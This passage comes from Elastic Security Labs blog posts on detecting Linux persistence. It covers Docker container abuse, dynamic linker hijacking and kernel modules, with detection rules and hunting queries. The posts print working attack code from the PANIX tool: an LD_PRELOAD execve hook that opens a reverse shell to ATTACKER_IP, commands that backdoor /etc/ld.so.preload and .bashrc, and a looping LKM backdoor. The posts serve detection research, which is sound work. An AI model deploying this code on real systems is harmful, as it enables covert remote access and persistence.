<p>Let’s take a look at the coverage:</p>
<p><em>Detection and endpoint rules that cover malicious Docker container persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_potentially_overly_permissive_container_creation.toml">Privileged Docker Container Creation</a> &lt;br /&gt;<a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_escape_via_nsenter.toml">Docker Escape via Nsenter</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_mount_chroot_container_escape.toml">Potential Chroot Container Escape via Mount</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_container_util_misconfiguration.toml">Potential Privilege Escalation via Container Misconfiguration</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_writable_docker_socket.toml">Potential Privilege Escalation through Writable Docker Socket</a></td>
</tr>
<tr>
<td align="left">Network</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_egress_connection_from_entrypoint_in_container.toml">Egress Connection from Entrypoint in Container</a></td>
</tr>
</tbody>
</table>
<p>Besides the rules mentioned above, we also have a dedicated set of container rules that leverages our <a href="https://www.elastic.co/de/guide/en/integrations/current/cloud_defend.html">Defend for Containers integration</a>, which can be found in the <a href="https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend">cloud_defend</a> directory of our <a href="https://github.com/elastic/detection-rules">detection-rules repository</a>. We have also extended our protections through the integration of Falco with Elastic Security. This integration significantly enhances threat detection directly at the edge — whether in Docker containers, Kubernetes clusters, Linux virtual machines, or bare metal environments. By introducing dedicated Falco connectors, we've strengthened Elastic's capabilities to improve cloud workload protection and endpoint security strategies.</p>
<p>For a deeper dive into how our Falco integration secures container workloads, check out our recent blog, <em>“<a href="https://www.elastic.co/de/blog/falco-elastic-security-cloud-workload-protection">Securing the Edge: Harnessing Falco’s Power with Elastic Security for Cloud Workload Protection</a>”</em>. The blog covers Falco setup, rule creation, alerting, and explores various threat scenarios.</p>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code>&gt; ./panix.sh --revert malicious-container

[+] Stopping and removing the 'malicious-container'...
[+] Container 'malicious-container' stopped and removed.
[+] Removing Docker image 'malicious-container'...
[+] Docker image 'malicious-container' removed.
[+] Removing Dockerfile at /tmp/Dockerfile...
[+] Dockerfile removed.
</code></pre>
<h3>Hunting for T1610 - Deploy Container: Malicious Docker Container</h3>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious container activity and configurations. The approach includes monitoring for the following:</p>
<ul>
<li><strong>Unusual network connections from Docker containers:</strong> Tracks connections to external or non-local IP addresses initiated by processes under <code>/var/lib/docker/*</code>.</li>
<li><strong>Privileged Docker containers:</strong> Identifies containers running in privileged mode, which pose a higher risk of host compromise.</li>
<li><strong>Recently created containers and images:</strong> Observes Docker containers and images created or pulled within the last 7 days to detect unauthorized deployments or suspicious additions.</li>
<li><strong>Sensitive host directory mounts:</strong> Monitors container mounts accessing paths like <code>/var/run/docker.sock</code>, <code>/etc</code>, or the root directory (<code>/</code>), which could enable container escape or unauthorized host access.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_malicious_docker_container.md">Persistence via Docker Container</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1610/">T1610</a>.</p>
<h1>Conclusion</h1>
<p>In this fourth chapter of the &quot;Linux Detection Engineering&quot; series, we examined additional persistence techniques that adversaries may leverage on Linux systems. We explored the abuse of PAM modules and <code>pam_exec</code> for executing malicious code during authentication events. After PAM, we looked into installer package manipulation via <code>RPM</code> and <code>DPKG</code>, where lifecycle scripts are weaponized for persistence during the package installation/updating process. We finalized this part by examining malicious Docker containers, detailing how privileged containers and host-level access can be exploited for persistence and container escape.</p>
<p>These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. By leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a> to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided, you can build robust defenses and fine-tune your detection strategies.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/Security Labs Images 32.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux Detection Engineering - A Continuation on Persistence Mechanisms]]></title>
            <link>https://www.elastic.co/de/security-labs/continuation-on-persistence-mechanisms</link>
            <guid>continuation-on-persistence-mechanisms</guid>
            <pubDate>Mon, 27 Jan 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[This document continues the exploration of Linux detection engineering, emphasizing advancements in monitoring persistence mechanisms. By building on past practices and insights, it provides a roadmap for improving detection strategies in complex environments.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Welcome to part three of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some additional, creative and/or complex persistence mechanisms.</p>
<p>If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:</p>
<ul>
<li><a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering - A Primer on Persistence Mechanisms</a></li>
<li><a href="https://www.elastic.co/de/security-labs/sequel-on-persistence-mechanisms">Linux Detection Engineering - A Sequel on Persistence Mechanisms</a></li>
</ul>
<p>In this publication, we’ll provide insights into:</p>
<ul>
<li>How each works (theory)</li>
<li>How to set each up (practice)</li>
<li>How to detect them (SIEM and Endpoint rules)</li>
<li>How to hunt for them (ES|QL and OSQuery reference hunts)</li>
</ul>
<p>To make the process even more engaging, we will be leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.</p>
<p>By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to continue the journey on Linux persistence mechanisms? Let’s dive in!</p>
<h2>Setup note</h2>
<p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to <a href="https://www.elastic.co/de/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enable and update our pre-built detection rules</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.</p>
<h2>T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking</h2>
<p>The <a href="https://man7.org/linux/man-pages/man8/ld.so.8.html">dynamic linker</a> is a critical component of the Linux operating system responsible for loading and linking shared libraries required by dynamically linked executables. When a program is executed, the dynamic linker resolves references to shared libraries, loading them into memory and linking them to the application at runtime. This allows programs to use external libraries, such as the GNU C Library (<code>glibc</code>), without including the library code within the program itself, which saves memory and simplifies updates.</p>
<p>Several key files and paths that play a crucial role in dynamic linking libraries are the following:</p>
<ul>
<li>Dynamic linker binaries (e.g. <code>ld-linux-x86-64.so.2</code>):
<ul>
<li>Typically located in <code>/lib/</code>  or <code>/usr/lib/</code> for 32-bit systems.</li>
<li>Found in <code>/lib64/</code> or <code>/usr/lib64/</code> on 64-bit systems.</li>
</ul>
</li>
<li>Symbolic links to dynamic linker binaries:
<ul>
<li>Typically found in <code>/lib/x86_64-linux-gnu/</code> or <code>/usr/lib/x86_64-linux-gnu/</code> for 64-bit systems.</li>
<li>Typically found in <code>/lib/i386-linux-gnu/</code> and <code>/usr/lib/i386-linux-gnu/</code> on 32-bit systems.</li>
</ul>
</li>
<li>Configuration files:
<ul>
<li><code>/etc/ld.so.conf</code>: Specifies additional library paths for the dynamic linker.</li>
<li><code>/etc/ld.so.cache</code>: A precompiled cache of library locations generated by <code>ldconfig</code> for efficient resolution.</li>
<li><code>/etc/ld.so.preload</code>: Specifies libraries to load before any other libraries.</li>
</ul>
</li>
</ul>
<p>You can observe the dynamic linker in action using the <code>ldd</code> command, which lists the shared libraries required by an executable and their resolved paths. For example:</p>
<pre><code class="language-python">&gt; ldd /bin/ls

linux-vdso.so.1 (0x00007fff87480000)
libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000)
/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000)
</code></pre>
<p>This output shows the libraries needed by the <code>ls</code> command, along with their locations and the dynamic linker binary responsible for loading them. The dynamic linker itself appears as <code>/lib64/ld-linux-x86-64.so.2</code> in this case.</p>
<p>When a dynamically linked program is executed, the process follows these steps:</p>
<ol>
<li>The dynamic linker loads the binary's <a href="https://man7.org/linux/man-pages/man5/elf.5.html">ELF</a> (Executable and Linkable Format) header to determine the required libraries.</li>
<li>It searches for the specified libraries in paths defined by:
<ol>
<li>Default system library paths.</li>
<li>Custom paths specified in <code>/etc/ld.so.conf</code> or environment variables like <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code>.</li>
</ol>
</li>
<li>It maps the libraries into the program’s memory space and resolves symbols (e.g., function or variable references) required by the program.</li>
<li>Execution is handed over to the program once all dependencies are resolved.</li>
</ol>
<p>Dynamic Linker Hijacking occurs when an attacker manipulates the linking process to redirect execution flow. This can involve altering the library search order through <code>LD_PRELOAD</code>, modifying configuration files like <code>/etc/ld.so.conf</code>, or tampering with cached library mappings in <code>/etc/ld.so.cache</code>.</p>
<p>Malware such as <a href="https://sandflysecurity.com/blog/detecting-and-de-cloaking-hiddenwasp-linux-stealth-malware/">HiddenWasp</a>, <a href="https://intezer.com/blog/research/new-linux-threat-symbiote/">Symbiote</a>, and open-source rootkits such as <a href="https://github.com/ldpreload/Medusa">Medusa</a> and <a href="https://github.com/chokepoint/azazel">Azazel</a> leverage this technique to establish persistence. MITRE ATT&amp;CK tracks this technique under the identifier <a href="https://attack.mitre.org/techniques/T1574/006/">T1574.006</a>.</p>
<h3>T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD</h3>
<p>The <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> environment variables control how shared libraries are loaded by dynamically linked executables. Both are legitimate tools for debugging, profiling, and customizing application behavior, but they are also susceptible to abuse by attackers seeking to hijack the execution flow.</p>
<p>The <code>LD_PRELOAD</code> variable allows users to specify shared libraries that the dynamic linker should load before any others. This preloading ensures that functions or symbols in the specified libraries override those in standard or program-specified libraries. For instance, <code>LD_PRELOAD</code> is often used to test new implementations of library functions without modifying the application itself. For example:</p>
<pre><code>LD_PRELOAD=/tmp/custom_library.so /bin/ls
</code></pre>
<p>In this case, the dynamic linker will load <code>custom_library.so</code> before loading any other libraries required by <code>/bin/ls</code>, effectively replacing or augmenting its behavior. Running <code>ldd</code> this time shows a different output:</p>
<pre><code class="language-python">&gt; ldd /bin/ls

linux-vdso.so.1 (0x00007fff87480000)
libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000)
libcustom.so =&gt; /tmp/custom_library.so (0x00007f23ac7e5000)
/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000)
</code></pre>
<p>Indicating that the potentially malicious <code>custom_library.so</code> will be loaded prior to all others.</p>
<p>The <code>LD_LIBRARY_PATH</code> variable specifies directories for the dynamic linker to search when resolving shared libraries. This variable takes precedence over default library paths like <code>/lib/</code> and <code>/usr/lib/</code>, allowing users to override system libraries with custom versions located in alternate directories:</p>
<pre><code>LD_LIBRARY_PATH=/tmp/custom_libs /bin/ls
</code></pre>
<p>Here, the dynamic linker will first search <code>/tmp/custom_libs</code> for the libraries required by <code>/bin/ls</code>. If a library is found there, it will be loaded instead of the default version.</p>
<p>While both <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> can hijack the execution flow, they operate differently:</p>
<ul>
<li><code>LD_PRELOAD</code> directly specifies libraries to be loaded first, providing precise control over which functions are overridden.</li>
<li><code>LD_LIBRARY_PATH</code> alters the library search path, potentially affecting multiple libraries and their dependencies.</li>
</ul>
<p>Environment variables can be set by regular users without requiring administrative access, making them a useful tool to hijack the execution flow without requiring root privileges. Setting environment variables is not persistent. To make the changes persistent across sessions, attackers can append these variables to the shell initialization files such as <code>~/.bashrc</code> or <code>~/.zshrc</code>. For example:</p>
<pre><code class="language-python">&gt; echo 'export LD_PRELOAD=/tmp/malicious_library.so' &gt;&gt; ~/.bashrc
&gt; echo 'export LD_LIBRARY_PATH=/tmp/custom_libs' &gt;&gt; ~/.bashrc
</code></pre>
<p>On the next successful login, these variables will automatically be set, ensuring that the specified libraries are loaded whenever a dynamically linked executable is run. For more details, refer to the section on <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms#t1546004---event-triggered-execution-unix-shell-configuration-modification">shell profile modification</a> in our <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">previous blog</a>.</p>
<p>With root access, an attacker can edit the <code>/etc/ld.so.conf</code> file or add configuration fragments to <code>/etc/ld.so.conf.d/</code> to insert malicious library paths. By running <code>ldconfig</code>, they can ensure these libraries are cached and prioritized in the library search order for all users and applications. For example:</p>
<pre><code class="language-python"># Create a malicious shared library
&gt; mkdir /lib/malicious
&gt; gcc -shared -o /lib/malicious/libhack.so -fPIC /tmp/hack.c
&gt; cp malicious_libc.so /lib/malicious/libc.so.6

# Add the malicious library path to /etc/ld.so.conf and reload
&gt; echo &quot;/lib/malicious&quot; &gt;&gt; /etc/ld.so.conf
&gt; ldconfig

# Verify with ldd
&gt; ldd /bin/ls

linux-vdso.so.1 (0x00007ffd2b1a5000)
libc.so.6 =&gt; /lib/malicious/libc.so.6 (0x00007f23ac7e5000) /lib64/ld-linux-x86-64.so.2 (0x00007f23ac6e0000)
</code></pre>
<p>This output indicates that the malicious <code>libc.so.6</code> is now being loaded, hijacking the execution flow of <code>/bin/ls</code> and potentially any other application relying on <code>libc.so.6</code>.</p>
<p>Similarly, an attacker can manipulate the <code>/etc/ld.so.preload</code> file to force the dynamic linker to load a malicious shared library into every dynamically linked executable on the system. Unlike modifying the library search paths in <code>/etc/ld.so.conf</code>, this technique directly injects a library into the execution flow, overriding or augmenting critical functions across all applications. For example:</p>
<pre><code class="language-python"># Create a malicious shared library
&gt; gcc -shared -o /lib/malicious/libhack.so -fPIC hack.c

# Add the malicious library to /etc/ld.so.preload
&gt; echo &quot;/lib/malicious/libhack.so&quot; &gt;&gt; /etc/ld.so.preload

# Verify with ldd
ldd /bin/ls

linux-vdso.so.1 (0x00007ffd2b1a5000)
libhack.so =&gt; /lib/malicious/libhack.so (0x00007f23ac7e5000)
/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000)
</code></pre>
<p>The output shows that <code>libhack.so</code> is loaded before any other libraries. Since <code>/etc/ld.so.preload</code> affects all dynamically linked executables, the attack impacts every user and application.</p>
<p>Additionally, root access allows for more potential attack vectors, such as:</p>
<ul>
<li>Overwriting legitimate libraries in <code>/lib/</code>, <code>/lib64/</code>, <code>/usr/lib/</code>, or <code>/usr/lib64/</code> with malicious versions.</li>
<li>Replacing and or modifying the dynamic linker binary (e.g. <code>ld-linux-x86-64.so.2</code>) to introduce backdoors or alter the library resolution process.</li>
<li>Modifying system-wide configuration files such as <code>/etc/profile</code> or <code>/etc/bash.bashrc</code> to globally set <code>LD_PRELOAD</code> or <code>LD_LIBRARY_PATH</code>.</li>
</ul>
<h4>Persistence through T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD</h4>
<p>Let’s examine how <a href="https://github.com/Aegrah/PANIX">PANIX</a> leverages the dynamic linker hijacking technique within the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_ld_preload.sh">setup_ld_preload.sh</a> module. This method relies on the presence of various compilation tools on the host system. PANIX hijacks the execution flow of the <code>execve</code> function for a user-specified binary, executing a backgrounded reverse shell whenever the binary is called:</p>
<pre><code class="language-c">// Function pointer for the original execve
int (*original_execve)(const char *pathname, char *const argv[], char *const envp[]);

// Function to spawn a reverse shell in the background
void spawn_reverse_shell() {
	pid_t pid = fork();
	if (pid == 0) { // Child process
		setsid(); // Start a new session
		char command[256];
		sprintf(command, &quot;/bin/bash -c 'bash -i &gt;&amp; /dev/tcp/%s/%d 0&gt;&amp;1'&quot;, ATTACKER_IP, ATTACKER_PORT);
		execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-c&quot;, command, NULL);
		exit(0); // Exit child process if execl fails
	}
}

// Hooked execve function
int execve(const char *pathname, char *const argv[], char *const envp[]) {
	// Load the original execve function
	if (!original_execve) {
		original_execve = dlsym(RTLD_NEXT, &quot;execve&quot;);
		if (!original_execve) {
			exit(1);
		}
	}

	// Check if the executed binary matches the specified binary
	if (strstr(pathname, &quot;$binary&quot;) != NULL) {
		// Spawn reverse shell in the background
		spawn_reverse_shell();
	}

	// Call the original execve function
	return original_execve(pathname, argv, envp);
}
</code></pre>
<p>To load the malicious shared object, PANIX backdoors the <code>/etc/ld.so.preload</code> by default.</p>
<pre><code class="language-c++">// Compile the shared object
gcc -shared -fPIC -o $preload_lib $preload_source -ldl
if [ $? -ne 0 ]; then
	echo &quot;Compilation failed. Exiting.&quot;
	exit 1
fi

// Add to /etc/ld.so.preload for persistence
if ! grep -q &quot;$preload_lib&quot; &quot;$preload_file&quot; 2&gt;/dev/null; then
	echo $preload_lib &gt;&gt; $preload_file
	echo &quot;[+] Backdoor added to /etc/ld.so.preload for persistence.&quot;
else
	echo &quot;[!] Backdoor already present in /etc/ld.so.preload.&quot;
fi
</code></pre>
<p>Let’s run the module:</p>
<pre><code class="language-python">&gt; sudo ./panix.sh --ld-preload --ip 192.168.1.1 --port 2016 --binary ls

LD_PRELOAD source code created: /tmp/preload/preload_backdoor.c 
LD_PRELOAD shared object compiled successfully: /lib/preload_backdoor.so 
[+] Backdoor added to /etc/ld.so.preload for persistence. 
[+] Execute the binary ls to trigger the reverse shell.
</code></pre>
<p>When opening a session, we can see the malicious library injected into the execution flow:</p>
<pre><code class="language-python">&gt; ldd $(which ls)                                                                      

linux-vdso.so.1 (0x00007ffe00fe8000) /lib/preload_backdoor.so (0x00007f610548e000)
libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f61052bb000)
libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61052b6000)
/lib64/ld-linux-x86-64.so.2 (0x00007f61054a0000)
</code></pre>
<p>Executing the <code>ls</code> command will spawn a reverse connection, while executing any other command, such as <code>whoami</code> will not. Let’s analyze the logs in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/continuation-on-persistence-mechanisms/image2.png" alt="PANIX LD_PRELOAD module execution visualized in Kibana" title="PANIX LD_PRELOAD module execution visualized in Kibana" /></p>
<p>We can see PANIX being executed, after which the temporary <code>preload_backdoor.c</code> source code is created in the <code>/tmp</code> directory. Next, <code>gcc</code> is used to compile the source code into a shared object and is added to the <code>/etc/ld.so.preload</code> file, which did not yet exist and is therefore created. After executing the <code>ls</code> binary, the backdoor is triggered, initializing a reverse connection on the specified IP and port.</p>
<p>To detect different activities along the chain, we have the following detection and endpoint rules in place:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/defense_evasion_dynamic_linker_file_creation.toml#L18">Dynamic Linker Creation or Modification</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/integrations/fim/persistence_suspicious_file_modifications.toml#L20">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/persistence_shared_object_creation.toml#L187">Shared Object Created or Changed by Previously Unknown Process</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml">Modification of Dynamic Linker Preload Shared Object</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/defense_evasion_hidden_shared_object.toml#L10">Creation of Hidden Shared Object File</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_ld_so_creation.toml">Dynamic Linker (ld.so) Creation</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/persistence_dynamic_linker_backup.toml#L2">Dynamic Linker Copy</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/defense_evasion_shared_object_injection_via_process_environment_variable.toml">Shared Object Injection via Process Environment Variable</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_unusual_preload_env_vars.toml">Unusual Preload Environment Variable Process Execution</a></td>
</tr>
<tr>
<td><em>Detection and endpoint rules that cover dynamic linker hijacking persistence</em></td>
<td></td>
</tr>
</tbody>
</table>
<p>To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:</p>
<pre><code class="language-bash">&gt; sudo ./panix.sh --revert ld-preload 

[+] Reverting ld-preload module...
[+] Removing /lib/preload_backdoor.so from /etc/ld.so.preload...
[+] Removed entry from /etc/ld.so.preload.
[+] Removing malicious shared library /lib/preload_backdoor.so...
[+] Removed /lib/preload_backdoor.so.
[+] Removing temporary directory /tmp/preload...
[+] Removed /tmp/preload.
[!] Note: The backdoor may still be active in your current session.
[!] Please restart your shell session to fully disable the backdoor.
[!] Run 'exec bash' to start a new shell session.                                                                       

&gt; exec bash 
</code></pre>
<h4>Hunting for T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD</h4>
<p>Other than relying on detections, it is important to incorporate threat hunting into your workflow. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “<em>Hunting for T1053 - scheduled task/job</em>” section of “<em><a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a></em>”. Additionally, descriptions and references can be found in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>.</p>
<p>We can hunt for this technique using <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/de/guide/en/kibana/current/osquery.html">OSQuery</a> by focusing on the misuse of dynamic linker environment variables like <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code>. The approach includes monitoring for the following:</p>
<ul>
<li><strong>Processes with suspicious environment variables:</strong> Tracks processes with <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> set to unusual values.</li>
<li><strong>Creation of shared object (<code>.so</code>) files:</strong> Observes <code>.so</code> files created in non-standard or uncommon directories, which could indicate malicious activity.</li>
<li><strong>Modifications to critical dynamic linker files:</strong> Monitors changes to files like <code>/etc/ld.so.preload</code>, <code>/etc/ld.so.conf</code>, and associated directories such as <code>/etc/ld.so.conf.d/</code>.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_dynamic_linker_hijacking.md">Persistence via Dynamic Linker Hijacking</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1574/006/">T1574.006</a>.</p>
<h2>T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions</h2>
<p><a href="https://man.openbsd.org/OpenBSD-5.1/lkm.4">Loadable Kernel Modules (LKMs)</a> provide a way to extend kernel functionality without modifying the core kernel itself. These modules can be dynamically loaded and unloaded at runtime, enabling features like hardware driver support, network protocol handling, and file system management.</p>
<p>Modules are typically stored in the <code>/lib/modules/</code> or <code>/usr/lib/modules/</code> directory followed by a subdirectory for the active kernel version and are organized into subdirectories based on their functionality, such as drivers or network protocols. To ensure an LKM is loaded on boot, the following configuration files are read:</p>
<ul>
<li><code>/etc/modules</code></li>
<li><code>/etc/modprobe.d/</code></li>
<li><code>/usr/lib/modprobe.d/</code></li>
<li><code>/etc/modules-load.d/</code></li>
<li><code>/run/modules-load.d/</code></li>
<li><code>/usr/local/lib/modules-load.d/</code></li>
<li><code>/usr/lib/modules-load.d/</code></li>
</ul>
<p>Management tools like <code>modprobe</code>, <code>insmod</code>, and <code>rmmod</code> are used to load, list, or unload modules.</p>
<p>When an LKM is loaded, the following sequence occurs:</p>
<ol>
<li>User-space invocation:<br />
a. A user with sufficient privileges initiates the loading process using tools like <code>modprobe</code> or <code>insmod</code>.</li>
<li>Syscall invocation:<br />
a. <code>init_module()</code>: Loads a module from memory.<br />
b. <code>finit_module()</code>: Loads a module from a file descriptor.</li>
<li>Kernel validation:<br />
a. The kernel verifies the module's integrity, structure, and compatibility.<br />
b. Checks include validation of the ELF format and kernel version compatibility using metadata like <code>vermagic</code>.</li>
<li>Dependency Resolution:<br />
a. Tools like <code>depmod</code> generate dependency files that <code>modprobe</code> uses to load any required modules.</li>
<li>Initialization and integration:<br />
a. The module's initialization function is executed, integrating it with the kernel's functionality through exported symbols and interfaces.</li>
</ol>
<p>Newer systems leverage <code>systemd</code> to invoke module loading during startup based on unit dependencies specified in service files. Older systems may still use scripts in <code>/etc/init.d/</code> or <code>/etc/rc.d/</code> to load modules at boot.</p>
<p>The kernel prioritizes modules based on their order in dependency files or init system configurations. The search and load process typically follows:</p>
<ol>
<li>Default paths specified in <code>/lib/modules/</code> or <code>/usr/lib/modules/</code></li>
<li>Overrides defined in <code>/etc/modprobe.d/</code> or <code>/usr/lib/modeprobe.d/</code></li>
<li>Kernel command-line parameters (e.g., <code>modprobe.blacklist</code>).</li>
</ol>
<p>The flexibility and power of LKMs make them a double-edged sword, as they are not only indispensable for system functionality but also a potential vector for sophisticated threats, such as rootkits. MITRE tracks this technique under <a href="https://attack.mitre.org/techniques/T1547/006/">T1547.006</a>.</p>
<h3>T1014 - Rootkit</h3>
<p>Rootkits are a class of malicious software designed to conceal their presence and maintain persistent access to a system. They operate at various levels, from user-space applications to kernel-level modules. Kernel-level rootkits leverage LKMs, manipulating kernel behavior to hide processes, files, and network activity, making them difficult to detect.</p>
<p>While rootkits are a broad and advanced topic, they are closely related to T1547.006 - Kernel Modules and Extensions. By modifying kernel structures or intercepting system calls, these rootkits can gain deep control over the system while remaining hidden from standard detection methods. MITRE tracks Rootkits specifically under <a href="https://attack.mitre.org/techniques/T1014/">T1014</a>.</p>
<h4>Future Work: T1014 - Rootkit</h4>
<p>Rootkits are a vast topic deserving dedicated attention. In upcoming publications, we will explore:</p>
<ul>
<li>The basics of rootkits.</li>
<li>Techniques for detecting and hunting rootkits.</li>
<li>Real-world examples of rootkit attacks and defenses.</li>
</ul>
<p>For now, understanding how LKMs are used as a vector for kernel rootkits bridges the gap between T1547.006 - Kernel Modules and Extensions and the broader topic of rootkits. This blog lays the groundwork for the in-depth exploration of rootkits to come.</p>
<p>Can’t wait to learn more about rootkits? Read our recent research, “<em><a href="https://www.elastic.co/de/security-labs/declawing-pumakit">Declawing PUMAKIT</a></em>”, a sophisticated LKM rootkit that employs mechanisms to hide its presence and maintain communication with its C2 servers.</p>
<h4>Persistence through T1547.006 - Kernel Modules and Extensions</h4>
<p>While T1547.006 and T1014 share some overlap, PANIX includes two distinct modules: one for a basic LKM and another for a fully implemented rootkit. We’ll begin with the simple LKM using the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_lkm.sh">setup_lkm.sh</a> module for T1547. As before, this module requires kernel headers and compilation tools to be available on the host.</p>
<p>The LKM being created is a simple module that spawns a separate thread to execute a specified command. Once the command is executed, the thread enters a sleep state for 60 seconds before repeating the process in an infinite while loop.</p>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/kthread.h&gt;
#include &lt;linux/delay.h&gt;
#include &lt;linux/signal.h&gt;

static struct task_struct *task;

static int backdoor_thread(void *arg) {
	allow_signal(SIGKILL);
	while (!kthread_should_stop()) {
		char *argv[] = {$command};
		call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);
		ssleep(60);
	}
	return 0;
}

static int __init lkm_backdoor_init(void) {
	printk(KERN_INFO &quot;Loading LKM backdoor module\\n&quot;);
	task = kthread_run(backdoor_thread, NULL, &quot;lkm_backdoor_thread&quot;);
	return 0;
}

static void __exit lkm_backdoor_exit(void) {
	printk(KERN_INFO &quot;Removing LKM backdoor module\\n&quot;);
	if (task) {
		kthread_stop(task);
	}
}

module_init(lkm_backdoor_init);
module_exit(lkm_backdoor_exit);

MODULE_LICENSE(&quot;GPL&quot;);
